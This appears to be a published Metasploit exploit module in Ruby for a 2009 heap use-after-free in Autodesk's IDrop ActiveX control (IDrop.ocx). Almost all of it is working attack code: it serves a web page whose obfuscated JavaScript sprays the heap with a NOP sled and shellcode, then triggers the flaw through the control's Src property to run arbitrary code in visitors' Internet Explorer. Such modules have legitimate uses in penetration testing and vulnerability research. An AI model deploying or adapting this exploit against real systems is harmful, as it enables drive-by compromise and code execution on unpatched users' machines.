This Metasploit module exploits a heap-based memory corruption vulnerability in Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160. An attacker can execute arbitrary code by triggering a heap use after free condition using the Src, Background, PackageXml properties.
ed9e481ead1489a1daf2b9cee8648d7e139f01c0d32d6ba6537f09d38141d0c1##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
'Description' => %q{
This module exploits a heap-based memory corruption vulnerability in
Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
An attacker can execute arbitrary code by triggering a heap use after
free condition using the Src, Background, PackageXml properties.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
],
'References' =>
[
[ 'OSVDB', '53265' ],
[ 'BID', '34352' ],
[ 'EDB', '8560' ],
[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Apr 2 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
blocksize = 0x40000
fillto = 550
offset = target['Offset']
# Randomize the javascript variable names
idrop = rand_text_alpha(rand(100) + 1)
j_function = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_mem = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|
<html>
<head>
<script language='javascript' defer>
function #{j_function}() {
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
var #{j_ret} = '';
for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
#{j_ret} += unescape('%u0a0a');
}
for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
try {
var #{j_mem} = #{idrop}.Src;
#{idrop}.Src = 'http://' + #{j_ret};
#{idrop}.Src = #{j_mem};
#{idrop}.Src = 'http://' + #{j_ret};
} catch(e){}
}
}
</script>
</head>
<body onload='return #{j_function}();'>
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
</body>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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